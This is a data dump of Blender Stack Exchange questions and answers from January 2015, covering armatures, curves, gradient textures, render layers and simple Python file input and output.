  <row Id="22924" PostTypeId="2" ParentId="22907" CreationDate="2015-01-09T13:49:28.230" Score="1" Body="&lt;p&gt;Every armature looks like that in the outliner. An armature is a little different from other objects - the bones show up twice, the &lt;code&gt;Armature&lt;/code&gt; item holds the bone data used in edit mode, while the &lt;code&gt;Pose&lt;/code&gt; data is what you animate in pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To deform a character mesh with an armature ensure you have selected your mesh and your armature and that your armature is the active object, that is the one that is highlighted in yellow rather than orange (if your armature is in pose mode it will be blue if it is active) &lt;a href=&quot;https://blender.stackexchange.com/a/144/935&quot;&gt;this answer&lt;/a&gt; includes pictures. Automatic weights will only work if the armature is positioned within the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do have trouble setting up the armature you can also add an armature modifier to the mesh object and setup vertex weights using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;weight painting&lt;/a&gt; or manually &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Vertex_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;assigning weights&lt;/a&gt; to a selection of vertices.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-01-09T13:49:28.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22925" PostTypeId="2" ParentId="22905" CreationDate="2015-01-09T14:16:59.547" Score="3" Body="&lt;p&gt;The change happened before 2.72 was released and I still haven't got around to looking into whether the change came from blender or OSL 1.5. It is a matter of search paths and I think they need to be changed in code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file you are looking for is included with blender, it is installed in &lt;code&gt;2.72/scripts/addons/cycles/shader/&lt;/code&gt; You can also find it in blender's source tree at &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/intern/cycles/kernel/shaders/node_texture.h&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;intern/cycles/kernel/shaders/node_texture.h&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution for now is to place a copy of it in the same folder as the osl script that wants to include it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-09T14:16:59.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22926" PostTypeId="2" ParentId="22921" CreationDate="2015-01-09T14:17:30.033" Score="6" Body="&lt;p&gt;Here's a very simple example, of how you could write out something to a text file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;# Ensure all folders of the path exist&#xA;path = &quot;C:/Blender game/YourFolder/&quot;&#xA;os.makedirs(path, exist_ok=True)&#xA;&#xA;# Write data out (2 integers)&#xA;with open(path + &quot;file.txt&quot;, &quot;w&quot;) as file:&#xA;    file.write(&quot;%i %i&quot; % (myprop, myprop2))&#xA;&#xA;# Read back in&#xA;with open(&quot;C:/Blender game/YourFolder/file.txt&quot;) as file:&#xA;    data = file.read()&#xA;    a, b = map(lambda x: int(x), data.split(&quot; &quot;))&#xA;    print(&quot;Imported integers:&quot;, a, b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;C:&lt;/code&gt; is usually the system partition and in order to write to it, you must have elevated rights (run Blender as administrator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possible ways to dump and re-import data is to use the &lt;a href=&quot;https://docs.python.org/3/library/struct.html#module-struct&quot; rel=&quot;nofollow&quot;&gt;struct module&lt;/a&gt; (binary), &lt;a href=&quot;https://docs.python.org/3/library/pickle.html&quot; rel=&quot;nofollow&quot;&gt;pickle&lt;/a&gt; (python object serialization) or maybe &lt;a href=&quot;https://docs.python.org/3/library/json.html&quot; rel=&quot;nofollow&quot;&gt;json&lt;/a&gt; if you want something human readable. You can come up with your very own text-based format too of course, like shown in my example above, but it can be come tricky to parse very soon. I discourage the use of XML, as it's rather complicated to use in Python without additional libraries.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-01-09T16:14:06.620" LastActivityDate="2015-01-09T16:14:06.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22927" PostTypeId="2" ParentId="22891" CreationDate="2015-01-09T14:32:17.113" Score="1" Body="&lt;p&gt;I would setup a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#Background_Image&quot; rel=&quot;nofollow&quot;&gt;background image&lt;/a&gt;. By setting the axis to camera you will always see the image or movie while looking in camera view &lt;kbd&gt;Numpad-0&lt;/kbd&gt;. If you select a movie it will change as you change the current frame in blender allowing you to follow the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will most likely want to ensure that the render settings match the original video so that there is no distortion or misplacement. You can also choose whether the image shows up in front of or behind your models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a viewport only display, the image will not be included in the final render, you will need to composite it over the video.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-01-09T14:32:17.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22928" PostTypeId="1" CreationDate="2015-01-09T16:00:10.477" Score="1" ViewCount="2520" Body="&lt;p&gt;I have like 15 Layers, and a other one with light.&#xA;I need to render the 15 layers separate but still keeping the light from the apart layer.&#xA;And i need to leave the computer rendering in the weekend doing the full work, how can i render different 15 layers on different 15 folders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I'm using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regards.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-09T17:31:16.527" Title="Different render per layers?" Tags="&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" ClosedDate="2015-01-09T19:17:44.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="22929" PostTypeId="1" AcceptedAnswerId="22931" CreationDate="2015-01-09T16:25:53.387" Score="25" ViewCount="67695" Body="&lt;p&gt;I am wondering how to recreate some kinds of effects (you can easily do in Photoshop) in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create the gradient textures like ones pictured below, should I render objects and blur them in compositor? Or can I achieve it using only material nodes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBchbm.jpg&quot; alt=&quot;Radial gradient&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBVqlm.jpg&quot; alt=&quot;Linear gradient&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="2217" LastEditDate="2015-01-10T02:19:36.133" LastActivityDate="2020-08-08T16:03:36.263" Title="How to create a gradient texture?" Tags="&lt;editing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22931" PostTypeId="2" ParentId="22929" CreationDate="2015-01-09T16:42:55.597" Score="32" Body="&lt;p&gt;You can acheive this with Cycles material nodes using the 'Gradient Texture' node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iq1Ci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the gradient node to 'Quadratic sphere' (and with a little offset from the vector mapping node) restults in this (on a plane with uv basic unwrapping):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fFVmv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control the scale of the 'Quadratic sphere' in the result above I scaled the UV's as scaling using the vector mapping node node seemed to scale it towards the corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a linear gradient you can simply set the Gradient Texture to 'Linear':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kgjfi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pZXjE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For different colours you can simply use a colour 'MixRBG' node and use the &lt;em&gt;factor&lt;/em&gt; of the gradient texture instead of the &lt;em&gt;colour&lt;/em&gt; and connect it to the 'Fac' of the mix node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UHRx.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ewl3P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-09T16:50:59.543" LastActivityDate="2015-01-09T16:50:59.543" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22932" PostTypeId="1" AcceptedAnswerId="22935" CreationDate="2015-01-09T16:45:36.537" Score="10" ViewCount="36030" Body="&lt;p&gt;How can I add thickness to a curve? I already tried with the extrude and depth options in the curve settings, but it doesn't work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8jA1.png&quot; alt=&quot;beveled curve&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-01-10T02:15:23.120" LastActivityDate="2019-03-12T18:13:58.527" Title="How to add thickness to a curve?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22933" PostTypeId="2" ParentId="22932" CreationDate="2015-01-09T16:49:20.843" Score="4" Body="&lt;p&gt;The simplest way to do this is to use a &lt;em&gt;Solidify&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Z67Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result from the default Bezier curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8yYv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-09T16:49:20.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22934" PostTypeId="2" ParentId="22921" CreationDate="2015-01-09T16:52:15.687" Score="1" Body="&lt;p&gt;A very simple example with a string and integer variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prop1 = &quot;abc&quot;&#xA;prop2 = 123&#xA;&#xA;# write to file&#xA;f = open(&quot;props.txt&quot;, &quot;w&quot;)&#xA;print(&quot;%s\n%d&quot; % (prop1,prop2), file=f)&#xA;f.close()&#xA;&#xA;# read back&#xA;prop1 = &quot;&quot;&#xA;prop2 = 0&#xA;&#xA;f = open(&quot;props.txt&quot;, &quot;r&quot;)&#xA;prop1 = f.readline()&#xA;prop2 = int(f.readline())&#xA;f.close()&#xA;&#xA;# test &#xA;print(prop1)&#xA;print(prop2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2015-01-09T19:54:03.037" LastActivityDate="2015-01-09T19:54:03.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22935" PostTypeId="2" ParentId="22932" CreationDate="2015-01-09T17:02:40.283" Score="8" Body="&lt;p&gt;All you need to do is set the &lt;em&gt;Fill&lt;/em&gt; to &lt;em&gt;Full&lt;/em&gt; on the curve to get a complete 3D shape. It defaults to &lt;em&gt;Half&lt;/em&gt;, which is why you only have half of you shape showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dF0k0.png&quot; alt=&quot;curve settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-09T17:02:40.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22936" PostTypeId="2" ParentId="22932" CreationDate="2015-01-09T17:03:46.210" Score="7" Body="&lt;p&gt;Add a nurbs circle and use it as bevel object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjOw8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control the thickness by scaling the circle.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-01-09T17:03:46.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22937" PostTypeId="1" CreationDate="2015-01-09T17:05:12.073" Score="2" ViewCount="1446" Body="&lt;p&gt;Is it possible to change camera's focal length&#xA;within the game?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What im looking for is that &quot;Bow zoom in&quot;&#xA;Or &quot;warping&quot;.&lt;/p&gt;&#xA;" OwnerUserId="9664" LastEditorUserId="9664" LastEditDate="2015-01-09T17:11:31.143" LastActivityDate="2015-01-09T23:20:34.917" Title="BGE: How to change camera's focal length?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22939" PostTypeId="1" AcceptedAnswerId="22945" CreationDate="2015-01-09T17:13:35.957" Score="4" ViewCount="5186" Body="&lt;p&gt;How can I add a material to a Bezier curve like you would in a regular mesh,  in Cycles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9rtvN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="3078" LastEditDate="2015-01-09T17:37:09.267" LastActivityDate="2016-02-10T21:11:53.407" Title="How can I add a material to a curve like a regular mesh?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22940" PostTypeId="1" AcceptedAnswerId="22941" CreationDate="2015-01-09T17:25:19.147" Score="5" ViewCount="5834" Body="&lt;p&gt;How can I make a curve higher resolution? The standard resolution gets distorted very easily as shown in the below image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I used bevel because I need that to animate the curve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/12Ewc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="6204" LastEditDate="2015-01-09T18:22:59.053" LastActivityDate="2018-06-21T09:02:57.793" Title="How can I make a curve higher resolution?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22941" PostTypeId="2" ParentId="22940" CreationDate="2015-01-09T17:26:59.317" Score="11" Body="&lt;p&gt;You can increase the 'Resolution' of the curve from the 'Data' tab while the curve is selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sgcTh.png&quot; alt=&quot;Curve Resolution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bare in mind, the higher you set this, the more geometry that has to render, so renders may become slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need alter the 'Preview' resolution if you like, when the 'Render' resolution is 0 it will default to whatever value the 'Preview' is set at. Alternatively if the viewport was becoming too slow you could have a lower 'Preview' resolution and 'Render' set higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have given the curve a bevel you can increase the resolution of the bevel by increasing the 'Resolution' value in the 'Geometry' panel in the curve properties. &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-25T18:33:32.983" LastActivityDate="2015-01-25T18:33:32.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22942" PostTypeId="2" ParentId="22928" CreationDate="2015-01-09T17:30:16.183" Score="3" Body="&lt;p&gt;I going to assume that you really mean 15 layers (objects in separate blender viewport layers) and not referring to render passes (Z, Vector, Normal). +someonewithpc is correct, but I thought I would expand and clarify the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what you need to do. I'm going to assume that you will want multiple render passes per render layer, since it's the more complicated solution. If not, it will be a little simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7s4F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;View the image in a new window to see it full resolution.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set your output file format to OpenEXR MultiLayer in the the render output panel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Render Layers panel, setup a render layer for each of the viewport layers you want to render. Select the output render passes you need for each render layer (Z, normal, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the compositor, Add a Render Layer node for each render layer you setup.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a File Output node for each corresponding Render Layer node. In the property panel on the right, you will need to manually add additional output layers in the file output node (Z, alpha, etc). You can do this because you set the output file to OpenEXR Multilayer previously.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook up the matching input/outputs between each render layer node and file output node. You'll also have to enter the output Path in each file output node. It's good to choose a separate folder to keep each Render Layer frame set separated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure that the Compositing checkbox is checked in the Post Processing panel in the Render Property section.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render the animation. You should end up with one folder per layer with 1 EXR file per frame rendered. In each EXR file you will have the render passes selected (Z, normal, alpha, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the EXR files for further compositing in Blender or another external compositing app. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: The main render image (whatever is piped to the composite node in the compositor will still be rendered and written out. I believe you still need to have this hooked up for the rest of the process to work properly (I haven't tested this recently but know it worked like that in the past).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TYTSf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-01-09T17:30:16.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22943" PostTypeId="2" ParentId="22928" CreationDate="2015-01-09T17:31:16.527" Score="2" Body="&lt;p&gt;This can be easily achieved  by using different &lt;em&gt;RenderLayers&lt;/em&gt;, and then outputting the different  layers into &lt;em&gt;one Multilayer EXR&lt;/em&gt; file; this file can then be opened to separate the different layers into separate files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, open the &lt;em&gt;Properties panel&lt;/em&gt;,  switch to the &lt;code&gt;RenderLayers&lt;/code&gt; tab and add however many Render Lawyers you need,  each with the adequate &lt;em&gt;Scene Layers&lt;/em&gt; selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then switch to the Compositor, by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Left Arrow&lt;/kbd&gt;,  or by using the layout selector in the header. Then add the same amount of &lt;em&gt;Render Later nodes&lt;/em&gt; as you have &lt;em&gt;RenderLayers&lt;/em&gt;. After that add a &lt;em&gt;File Output&lt;/em&gt; node; with it selected, open the &lt;em&gt;Properties panel&lt;/em&gt; (press &lt;kbd&gt;N&lt;/kbd&gt;) and in the &lt;code&gt;Properties&lt;/code&gt; subsection select the output format &lt;code&gt;EXR Multilayer&lt;/code&gt;,  and bellow click the &lt;code&gt;Add layer&lt;/code&gt; button. You can name the layers of you want. Then simply connect all Render Lawyers to the output node and your ready to render. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-01-09T17:31:16.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22944" PostTypeId="2" ParentId="22939" CreationDate="2015-01-09T18:13:12.943" Score="1" Body="&lt;p&gt;This is not possible in standard workflow as far as UV maps go (Maybe some Python geek can figure something out). However, generated UV's work very well. That means any procedural material will work on them properly. You will need to convert to meshes and unwrap them to use image textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iiuDG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or with a circular bevel on a curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bY4MZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-09T18:19:43.933" LastActivityDate="2015-01-09T18:19:43.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22945" PostTypeId="2" ParentId="22939" CreationDate="2015-01-09T18:56:45.620" Score="6" Body="&lt;p&gt;Adding a material to a curve is actually very simple :).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/79ihY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the &lt;em&gt;Image Texture&lt;/em&gt;, which is correctly UV mapped is much harder. If it is an object which won't be visible well in render (a background element for example) you may use this kind of node setup. The texture distortion wouldn't be much visible...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xVChj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the seams would.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wORMB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may try to blur them a little increasing the &lt;em&gt;Blend&lt;/em&gt; factor in &lt;em&gt;Image Texture Node&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NKRKh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to have the seams visible, the only way is to use &lt;strong&gt;&lt;em&gt;Convert to mesh from Curve&lt;/em&gt;&lt;/strong&gt; option (&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;), then unwrap the mesh and use the &lt;em&gt;UV Coordinates&lt;/em&gt; in &lt;em&gt;Texture Coordinate Node&lt;/em&gt;. Next paint over the seams in &lt;em&gt;Texture Paint Mode&lt;/em&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3CzoX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @NoviceInDisguise said, you may always try to use &lt;em&gt;Procedural Texture&lt;/em&gt; and use the &lt;em&gt;Generated Coordinates&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-09T19:24:57.537" LastActivityDate="2015-01-09T19:24:57.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22946" PostTypeId="1" CreationDate="2015-01-09T19:04:37.930" Score="2" ViewCount="2855" Body="&lt;p&gt;I'm having trouble with the proportional editing feature in a project I'm working on. Everything works fine when I do transforms with the grab tool (I can change the editing area using the MMB and everything), but it has no effect when I try to do any rotation or scaling.  For example, let's say I want to make a simple hourglass.  I add a cylinder, make several loop cuts, and then want to suck in the middle of the cylinder using PEF.  I select the middle loop (alt+RMB), turn on proportional editing, adjust the size of my cursor circle with MMB, and scale inward.  The scaling only affects that loop.  It's as if proportional editing is not turned on.&lt;br&gt;&#xA;   I just found that if I open a new project, the feature works just fine.  Is there an option somewhere I need to change? I'm using Blender v2.72.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left: what should happen, Right: what does happen&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n0npP.jpg&quot; alt=&quot;Left: what should happen, Right: what does happen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oipie.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10887" LastEditorUserId="10887" LastEditDate="2015-01-10T04:34:04.097" LastActivityDate="2015-01-10T05:31:57.053" Title="Trouble with Proportional Editing" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22948" PostTypeId="1" AcceptedAnswerId="22951" CreationDate="2015-01-09T19:22:40.403" Score="12" ViewCount="13634" Body="&lt;p&gt;How can I make a &lt;a href=&quot;http://en.wikipedia.org/wiki/B%C3%A9zier_curve&quot; rel=&quot;noreferrer&quot;&gt;Bézier curve&lt;/a&gt; have sharp and curved points? Like a zig-zag. And also being able to make more 'circular' parts too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I want to make fig 2, but I can only get to 1 by creating curves added with the E button.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bns4u.png&quot; alt=&quot;Enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-01-10T00:30:13.010" LastActivityDate="2016-06-17T09:51:29.517" Title="How can I make a Bézier curve have sharp and curved points?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22949" PostTypeId="1" AcceptedAnswerId="22953" CreationDate="2015-01-09T19:30:34.543" Score="10" ViewCount="6894" Body="&lt;p&gt;I want to hide all those lines, only keeping the main curve while working, how can i do that?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qWzdk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-01-09T19:56:53.940" LastActivityDate="2015-01-09T19:58:13.020" Title="How can i hide the references lines on a bezier curve?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2015-01-09T20:28:15.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="22950" PostTypeId="2" ParentId="22948" CreationDate="2015-01-09T19:36:38.537" Score="6" Body="&lt;p&gt;You can do this by going into edit mode, selecting a vertex and pressing &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;. This will make the vertex scaled to one single point, and it will cease to have an effect on the curvature of those segments.&lt;/p&gt;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Before&lt;/strong&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/veU1g.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;After&lt;/strong&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YSBDg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The vertices are still selectable, moveable, etc.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-09T19:36:38.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22951" PostTypeId="2" ParentId="22948" CreationDate="2015-01-09T19:37:44.973" Score="19" Body="&lt;p&gt;Being in &lt;em&gt;Edit Mode&lt;/em&gt; you can select the desired curve point, press &lt;kbd&gt;V&lt;/kbd&gt; and change the &lt;em&gt;Handle Type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Vector&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M4eOx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LoIrA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have even more control you can set the &lt;em&gt;Handle Type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Free&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rCCJ4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HGOFs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-01-09T19:59:53.530" LastActivityDate="2015-01-09T19:59:53.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
